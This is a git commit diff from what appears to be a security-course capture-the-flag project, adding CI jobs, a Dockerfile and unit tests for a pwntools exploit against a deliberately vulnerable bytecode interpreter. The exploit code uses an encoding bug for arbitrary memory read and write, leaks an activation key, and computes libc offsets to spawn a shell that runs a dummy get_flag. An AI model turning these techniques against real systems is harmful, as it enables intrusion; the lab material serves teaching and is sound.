Enable testing of the exploit (#4)
* Enable testing exploit * Fix unused result warning * Fix oversight in CI * Fix oversight in CI II * Fix oversight in CI III * Fix oversight in CI IV * Debugging CI * Debugging CI * Debugging CI * Debugging & supplying custom libc * Trying out stuff. * Triggering CI? * Testing around. * Fix test_exploit CI. * Fix test_exploit CI.
This commit is contained in:
62
.github/workflows/ci.yml
vendored
62
.github/workflows/ci.yml
vendored
@@ -9,7 +9,7 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
name: Build vuln
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout repository
|
- name: Checkout repository
|
||||||
uses: actions/checkout@v3
|
uses: actions/checkout@v3
|
||||||
@@ -22,7 +22,7 @@ jobs:
|
|||||||
make
|
make
|
||||||
|
|
||||||
- name: Upload artifacts
|
- name: Upload artifacts
|
||||||
uses: actions/upload-artifact@master
|
uses: actions/upload-artifact@v3
|
||||||
with:
|
with:
|
||||||
name: vuln-artifact
|
name: vuln-artifact
|
||||||
path: build/vuln
|
path: build/vuln
|
||||||
@@ -30,7 +30,7 @@ jobs:
|
|||||||
|
|
||||||
test:
|
test:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
name: Test correct program
|
||||||
needs: build
|
needs: build
|
||||||
|
|
||||||
env:
|
env:
|
||||||
@@ -39,7 +39,7 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
- uses: actions/download-artifact@master
|
- uses: actions/download-artifact@v3
|
||||||
name: Download build artifacts
|
name: Download build artifacts
|
||||||
with:
|
with:
|
||||||
name: vuln-artifact
|
name: vuln-artifact
|
||||||
@@ -51,26 +51,66 @@ jobs:
|
|||||||
tar -xf fnetd.tar.xz
|
tar -xf fnetd.tar.xz
|
||||||
mkdir fnetd/build
|
mkdir fnetd/build
|
||||||
cd fnetd/build
|
cd fnetd/build
|
||||||
cmake .. -G "Unix Makefiles"
|
cmake .. -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
|
||||||
make
|
make
|
||||||
cd ../..
|
cd ../..
|
||||||
|
|
||||||
- name: Setup get_flag
|
- name: Setup get_flag
|
||||||
run: gcc tests/get_flag.c -o get_flag -O3
|
run: gcc tests/get_flag.c -o get_flag -O3
|
||||||
|
|
||||||
- uses: JarvusInnovations/background-action@v1
|
- uses: JarvusInnovations/background-action@v1.0.5
|
||||||
name: Start fnetd
|
name: Start fnetd
|
||||||
with:
|
with:
|
||||||
run: |-
|
run: |
|
||||||
chmod +x build/vuln
|
chmod +x build/vuln
|
||||||
fnetd/build/fnetd -p 1337 -lt 2 -lm 536870912 "strace -f build/vuln" &
|
fnetd/build/fnetd -p 1337 -lt 2 -lm 536870912 build/vuln &
|
||||||
|
|
||||||
tail: true
|
tail: true
|
||||||
wait-on: tcp:localhost:1337
|
wait-on: tcp:localhost:1337
|
||||||
wait-for: 1m
|
wait-for: 10s
|
||||||
|
|
||||||
- name: Setup python libs
|
- name: Setup python libs
|
||||||
run: pip install -r tests/requirements.txt
|
run: pip install -r tests/requirements.txt
|
||||||
|
|
||||||
- name: Tests
|
- name: Run tests
|
||||||
run: python -m unittest discover tests/
|
# idk why we need to pipe the output to /dev/null here, but else the pipeline does not finish
|
||||||
|
run: python -m unittest discover tests/ &> /dev/null
|
||||||
|
|
||||||
|
test_exploit:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: Test exploit
|
||||||
|
needs: build
|
||||||
|
|
||||||
|
env:
|
||||||
|
FNETD_PASSWORD: 1234
|
||||||
|
RELEASE_PORT: 8080
|
||||||
|
DEBUG_PORT: 8081
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
|
- uses: JarvusInnovations/background-action@v1
|
||||||
|
name: Build docker container
|
||||||
|
with:
|
||||||
|
run: |
|
||||||
|
cp tests/Dockerfile .
|
||||||
|
sh -c "docker build --no-cache -t exploit_test --build-arg RELEASE_PORT=$RELEASE_PORT --build-arg DEBUG_PORT=$DEBUG_PORT --build-arg FNETD_PASSWORD=$FNETD_PASSWORD ."
|
||||||
|
sh -c "docker run -d -p $RELEASE_PORT:$RELEASE_PORT -p $DEBUG_PORT:$DEBUG_PORT --name exploit_test exploit_test"
|
||||||
|
|
||||||
|
tail: true
|
||||||
|
wait-on: |
|
||||||
|
tcp:localhost:${{ env.DEBUG_PORT }}
|
||||||
|
tcp:localhost:${{ env.RELEASE_PORT }}
|
||||||
|
wait-for: 2m
|
||||||
|
|
||||||
|
- name: Setup python libs
|
||||||
|
run: pip install -r tests/requirements.txt
|
||||||
|
|
||||||
|
- name: Run exploit tests
|
||||||
|
# idk why we need to pipe the output to /dev/null here, but else the pipeline does not finish
|
||||||
|
run: |
|
||||||
|
python3 exploit/test_exploit.py -f activation_key.txt &> log.txt
|
||||||
|
cat log.txt
|
||||||
|
|
||||||
|
- name: Stop docker
|
||||||
|
run: docker stop exploit_test
|
||||||
@@ -52,6 +52,7 @@ class Register(IntEnum):
|
|||||||
|
|
||||||
|
|
||||||
INSTR_LEN = 8
|
INSTR_LEN = 8
|
||||||
|
PORT = 1337
|
||||||
|
|
||||||
|
|
||||||
def instr_i(opcode, reg1, imm: int):
|
def instr_i(opcode, reg1, imm: int):
|
||||||
@@ -78,6 +79,7 @@ def arbitrary_read(dst: Register, src: Register):
|
|||||||
# src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits
|
# src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits
|
||||||
return instr_r(Opcode.ADD, dst, src)
|
return instr_r(Opcode.ADD, dst, src)
|
||||||
|
|
||||||
|
|
||||||
def arbitrary_write(dst: Register, src: Register):
|
def arbitrary_write(dst: Register, src: Register):
|
||||||
assert (src.has_highest_bit_set() and not dst.has_highest_bit_set())
|
assert (src.has_highest_bit_set() and not dst.has_highest_bit_set())
|
||||||
# use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
|
# use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
|
||||||
@@ -85,8 +87,9 @@ def arbitrary_write(dst: Register, src: Register):
|
|||||||
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
|
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
|
||||||
return instr_r(Opcode.COPY, dst, src)
|
return instr_r(Opcode.COPY, dst, src)
|
||||||
|
|
||||||
def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
|
|
||||||
p = remote("localhost", 1337, fam="ipv4")
|
def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote:
|
||||||
|
p = remote("localhost", port, fam="ipv4")
|
||||||
p.recvuntil(b"Password: ")
|
p.recvuntil(b"Password: ")
|
||||||
p.sendline(b"1234")
|
p.sendline(b"1234")
|
||||||
|
|
||||||
@@ -121,12 +124,15 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
|
|||||||
return exit_code
|
return exit_code
|
||||||
|
|
||||||
|
|
||||||
def extract_premium_key():
|
def extract_premium_key(is_debug: bool = False, port: int = PORT):
|
||||||
offset_saved_rip_to_activation_key = 0x396d
|
if is_debug:
|
||||||
|
offset_saved_rip_to_activation_key = 0x396d # debug mode
|
||||||
|
else:
|
||||||
|
offset_saved_rip_to_activation_key = 0x2832 # release mode
|
||||||
|
|
||||||
premium_key = b""
|
premium_key = b""
|
||||||
|
|
||||||
p = connect(b"", False)
|
p = connect(b"", False, port)
|
||||||
i = 0
|
i = 0
|
||||||
while i < 0x80:
|
while i < 0x80:
|
||||||
# mov r8, rsp
|
# mov r8, rsp
|
||||||
@@ -157,14 +163,18 @@ def extract_premium_key():
|
|||||||
p.close()
|
p.close()
|
||||||
return premium_key
|
return premium_key
|
||||||
|
|
||||||
def get_flag(p: pwnlib.tubes.remote.remote):
|
|
||||||
|
def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
|
||||||
libc_base_offset = 0x23d0a
|
libc_base_offset = 0x23d0a
|
||||||
libc_system_offset = 0x45e50
|
libc_system_offset = 0x45e50
|
||||||
libc_bin_sh_offset = 0x195152
|
libc_bin_sh_offset = 0x195152
|
||||||
rsp_libc_start_main_offset = 0x80
|
if is_debug:
|
||||||
|
rsp_libc_start_main_offset = 0x80 # debug mode
|
||||||
|
else:
|
||||||
|
rsp_libc_start_main_offset = 0xa0 # release mode
|
||||||
# mov r8, rsp
|
# mov r8, rsp
|
||||||
program = load_rsp(Register.G)
|
program = load_rsp(Register.G)
|
||||||
# mov rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown)
|
# mov rcx, r8 (use Register.A in the command because highest bit of register_id[r8] gets overflown)
|
||||||
program += instr_r(Opcode.ADD, Register.A, Register.G)
|
program += instr_r(Opcode.ADD, Register.A, Register.G)
|
||||||
# add rcx, rsp_libc_start_main_offset
|
# add rcx, rsp_libc_start_main_offset
|
||||||
program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset)
|
program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset)
|
||||||
@@ -201,12 +211,13 @@ def get_flag(p: pwnlib.tubes.remote.remote):
|
|||||||
log.info(f"Sending program: {str(program)}")
|
log.info(f"Sending program: {str(program)}")
|
||||||
p.send(program)
|
p.send(program)
|
||||||
p.sendline(b"/bin/get_flag")
|
p.sendline(b"/bin/get_flag")
|
||||||
print(p.recvregex(b'flag_[0-9a-f]{32}').decode())
|
return p.recvregex(b'flag_[0-9a-f]{32}').decode()
|
||||||
|
|
||||||
|
|
||||||
context.log_level = 'warn'
|
if __name__ == "__main__":
|
||||||
|
context.log_level = 'warn'
|
||||||
|
|
||||||
premium_key = extract_premium_key()
|
premium_key = extract_premium_key(is_debug=True)
|
||||||
|
|
||||||
p = connect(premium_key, True)
|
p = connect(premium_key, True)
|
||||||
get_flag(p)
|
print(get_flag(p, is_debug=True))
|
||||||
|
|||||||
64
exploit/test_exploit.py
Executable file
64
exploit/test_exploit.py
Executable file
@@ -0,0 +1,64 @@
|
|||||||
|
#! /usr/bin/env python3
|
||||||
|
import exploit
|
||||||
|
import argparse
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
RELEASE_PORT = 8080
|
||||||
|
DEBUG_PORT = 8081
|
||||||
|
|
||||||
|
|
||||||
|
def __get_activation_key__() -> bytes:
|
||||||
|
global activation_key_file
|
||||||
|
assert (activation_key_file is not None)
|
||||||
|
with open(activation_key_file, "rb") as f:
|
||||||
|
data = f.read()
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitTest(unittest.TestCase):
|
||||||
|
|
||||||
|
def __check_extract_activation_key__(self, is_debug: bool):
|
||||||
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
|
key = exploit.extract_premium_key(is_debug, port)
|
||||||
|
self.assertEqual(key, __get_activation_key__())
|
||||||
|
|
||||||
|
def test_extract_activation_key_debug(self):
|
||||||
|
self.__check_extract_activation_key__(is_debug=True)
|
||||||
|
|
||||||
|
def test_extract_activation_key_release(self):
|
||||||
|
self.__check_extract_activation_key__(is_debug=False)
|
||||||
|
|
||||||
|
def __check_get_flag__(self, is_debug: bool):
|
||||||
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
|
p = exploit.connect(__get_activation_key__(), True, port)
|
||||||
|
flag = exploit.get_flag(p, is_debug)
|
||||||
|
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||||
|
|
||||||
|
def test_get_flag_debug(self):
|
||||||
|
self.__check_get_flag__(True)
|
||||||
|
|
||||||
|
def test_get_flag_release(self):
|
||||||
|
self.__check_get_flag__(False)
|
||||||
|
|
||||||
|
def __check_combined__(self, is_debug: bool):
|
||||||
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
|
activation_key = exploit.extract_premium_key(is_debug, port)
|
||||||
|
p = exploit.connect(activation_key, True, port)
|
||||||
|
flag = exploit.get_flag(p, is_debug)
|
||||||
|
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||||
|
|
||||||
|
def test_combined_debug(self):
|
||||||
|
self.__check_combined__(True)
|
||||||
|
|
||||||
|
def test_combined_release(self):
|
||||||
|
self.__check_combined__(False)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
global activation_key_file
|
||||||
|
arg_parser = argparse.ArgumentParser(prog="Exploit CI tester")
|
||||||
|
arg_parser.add_argument("-f", "--file", type=str, required=True, help="File containing the activation key.")
|
||||||
|
args = arg_parser.parse_args()
|
||||||
|
activation_key_file = args.file
|
||||||
|
|
||||||
|
unittest.main(argv=[""])
|
||||||
59
tests/Dockerfile
Normal file
59
tests/Dockerfile
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
FROM debian:bullseye
|
||||||
|
|
||||||
|
RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake
|
||||||
|
|
||||||
|
############### INSTALL FNETD
|
||||||
|
RUN wget https://cloud.sec.in.tum.de/index.php/s/n5cJnDqnnpSeEpd/download/fnetd.tar.xz -O /fnetd.tar.xz
|
||||||
|
RUN tar -xf fnetd.tar.xz
|
||||||
|
RUN mkdir /fnetd/build
|
||||||
|
|
||||||
|
WORKDIR /fnetd/build
|
||||||
|
RUN cmake .. -G "Unix Makefiles"
|
||||||
|
RUN make
|
||||||
|
|
||||||
|
WORKDIR /
|
||||||
|
############### END INSTALL
|
||||||
|
|
||||||
|
## Add dummy get_flag
|
||||||
|
COPY tests/get_flag.c /bin/get_flag.c
|
||||||
|
RUN gcc -O3 /bin/get_flag.c -o /bin/get_flag
|
||||||
|
RUN rm /bin/get_flag.c
|
||||||
|
|
||||||
|
## Use course libc
|
||||||
|
COPY tests/libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so
|
||||||
|
RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6
|
||||||
|
|
||||||
|
RUN useradd -m pwn
|
||||||
|
|
||||||
|
COPY . /home/pwn/source
|
||||||
|
|
||||||
|
# compile vuln in debug mode
|
||||||
|
RUN mkdir /home/pwn/debug
|
||||||
|
WORKDIR /home/pwn/debug
|
||||||
|
RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Debug
|
||||||
|
RUN make
|
||||||
|
|
||||||
|
RUN mkdir /home/pwn/release
|
||||||
|
WORKDIR /home/pwn/release
|
||||||
|
RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
|
||||||
|
RUN make
|
||||||
|
|
||||||
|
RUN chown -R pwn:pwn /home/pwn
|
||||||
|
|
||||||
|
ARG FNETD_PASSWORD
|
||||||
|
ENV FNETD_PASSWORD $FNETD_PASSWORD
|
||||||
|
|
||||||
|
ARG RELEASE_PORT
|
||||||
|
ENV PORT_RELEASE $RELEASE_PORT
|
||||||
|
|
||||||
|
ARG DEBUG_PORT
|
||||||
|
ENV PORT_DEBUG $DEBUG_PORT
|
||||||
|
|
||||||
|
EXPOSE $DEBUG_PORT
|
||||||
|
EXPOSE $RELEASE_PORT
|
||||||
|
|
||||||
|
WORKDIR /home/pwn
|
||||||
|
RUN cp /home/pwn/source/activation_key.txt activation_key.txt
|
||||||
|
|
||||||
|
|
||||||
|
ENTRYPOINT ["sh", "-c", "/fnetd/build/fnetd -p $PORT_DEBUG -u pwn -lt 2 -lm 536870912 /home/pwn/debug/vuln & /fnetd/build/fnetd -p $PORT_RELEASE -u pwn -lt 2 -lm 536870912 /home/pwn/release/vuln"]
|
||||||
BIN
tests/libc-2.31.so
Normal file
BIN
tests/libc-2.31.so
Normal file
Binary file not shown.
5
vuln.c
5
vuln.c
@@ -339,7 +339,10 @@ void check_premium() {
|
|||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}
|
||||||
|
|
||||||
read(secret_fd, activation_key, sizeof(activation_key));
|
if (read(secret_fd, activation_key, sizeof(activation_key)) < 0) {
|
||||||
|
puts("Cannot read reference activation key.");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
close(secret_fd);
|
close(secret_fd);
|
||||||
|
|
||||||
printf("Then please enter your activation key:");
|
printf("Then please enter your activation key:");
|
||||||
|
|||||||
Reference in New Issue
Block a user